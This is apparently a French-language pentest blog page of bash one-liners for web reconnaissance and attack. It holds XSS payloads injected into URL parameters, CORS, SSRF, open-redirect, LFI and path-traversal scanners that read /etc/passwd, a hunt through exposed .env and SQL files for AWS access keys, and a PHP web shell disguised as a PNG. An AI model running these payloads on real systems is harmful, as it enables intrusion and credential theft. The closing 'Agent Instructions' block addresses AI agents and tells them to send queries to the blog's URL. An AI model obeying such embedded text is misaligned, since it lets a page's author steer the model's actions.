# One liners

## One liners

### Extraction d'URL depuis le code source

```bash
curl "https://target.com/" | grep -oP '(https*://|www\.)[^]*'
```

### Recherche de sous-domaines

```bash
curl 'https://crt.sh/?q=%.target.com&output=json' | jq '.name_value' |sed 's/\"//g' | sed 's/\*\.//g' | sort -u
```

### Recherche de endpoints

```bash
#API Angular
curl -s URL | grep -Po "(\/)((?:[a-zA-Z\-_\:\.0-9\{\}]+))(\/)*((?:[a-zA-Z\-_\:\.0-9\{\}]+))(\/)((?:[a-zA-Z\-_\/\:\.0-9\{\}]+))" | sort -u
```

### Filtrage de endpoints

```bash
cat endpoints.txt | grep -i "admin\|login\|staging\|dashboard\|Admin\|\.asp\|\.php\|\.json\|cgi\|\.xml\|\.sql\|\.db\|\.rb\|\.py\|\.sh\|\.yml\|\.yaml\|\.ini\|\.md\|\.\js\|\.cfg\|env\|.\xls\|\.pdf\|\.docx" | anew interesting_path.txt
```

Utiliser les mots clés voulu dans la fonction grep.

### Screenshots d'un range d'IP

```bash
IP="192.168.0"; for p in '80' '443'; do for i in $(seq 0 5); do TAKE_SS=$(cutycapt --url=$IP.$i:$p --out=$IP.$i:$p.png); done; done
```

### Générateur de wordlist adapté à la cible

```bash
echo "target.com" | subfinder -silent | httpx | hakrawler | sed $'s/[./?=:&#]/\\\n/g' | anew wordlist.txt
```

### XSS scanner

```bash
echo "target.com" | waybackurls | grep "=" | egrep -iv ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|icon|pdf|svg|txt|js)" | uro | qsreplace '"><img src=x onerror=alert(1);>' | freq

gau target.com | uro | grep '?' | sed -e 's/:80//g' -e 's/:443//g' -e 's/http:/https:/g' -e 's/=/=Sirat%22%3E%3CH1%3Exss123/g' | httpx -silent -ms '<h1>xss123'

echo "target.com" | waybackurls | gf xss | uro | httpx -silent | qsreplace '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)"

cat targets.txt | waybackurls | anew | grep "=" | gf xss | nilo | gxss -p test | dalfox pipe --skip-bav --only-poc r --silent --skip-mining-dom --ignore-return 302,404,403

waybackurls target.com | grep "=" | uro | qsreplace '"><img src=x onerror=alert(1);>' | freq | egrep -v 'Not'
```

### CORS scanner

```bash
assetfinder target.com | httpx -threads 300 -follow-redirects -silent | rush -j200 'curl -m5 -s -I -H "Origin: evil.com" {} | [[ $(grep -c "evil.com") -gt 0 ]] && printf "\n3[0;32m[VUL TO CORS] 3[0m{}"' 2>/dev/null
```

### SSRF scanner

```bash
#pip3 install queryswap

echo "domain" | hakrawler -d 5 | grep "=" |python3 -m qs http%3a%2f%2fmy.burp.net
```

### Open redirect

```bash
export LHOST="URL"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I% -P 25 sh -c 'curl -ls "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'

echo "https://target.com" | gau | grep =http | php -r "echo urldecode(file_get_contents('php://stdin'));"
```

### LFI

```bash
gau target.com | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
```

### Nginx Path Traversal

```bash
cat urls.txt | httpx -nc -t 250 -p 80,443,8080,8443,4443,8888,8081 -path "///////../../../etc/passwd" -mr "root:x" -silent | anew output.txt
```

```bash
httpx -l urls.txt -path "///////../../../../../etc/passwd -sc -mc 200 'root:'
```

### Enregistrements CNAME

```bash
cat live-domains.txt | while read domains;do dig $domains;done | grep CNAME | tee -a CNAME_Records     
```

### NXDOMAIN

```
subfinder -d target.com -silent | dnsx -a -resp | grep -i "NXDOMAIN"
```

### Trouver des clés d'accès d'utilisateurs IAM (AWS)

```bash
echo target.com | subfinder -silent | httpx -silent -path ".env","mysql_history","echo $(echo $(</dev/stdin) | cut -d "." -f2).sql" -mc200 -ports 80,443,8080,8443 | grep -E -i "AKIA[A-Z0-9]{16}"
```

## RCE dans fichier png

```bash
echo -n '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]);?>.' > shell.png

echo -n '\x89\x50\x4E\x47<?php system($_GET["cmd"]);?>.' > shell.png
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-web/one-liners.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.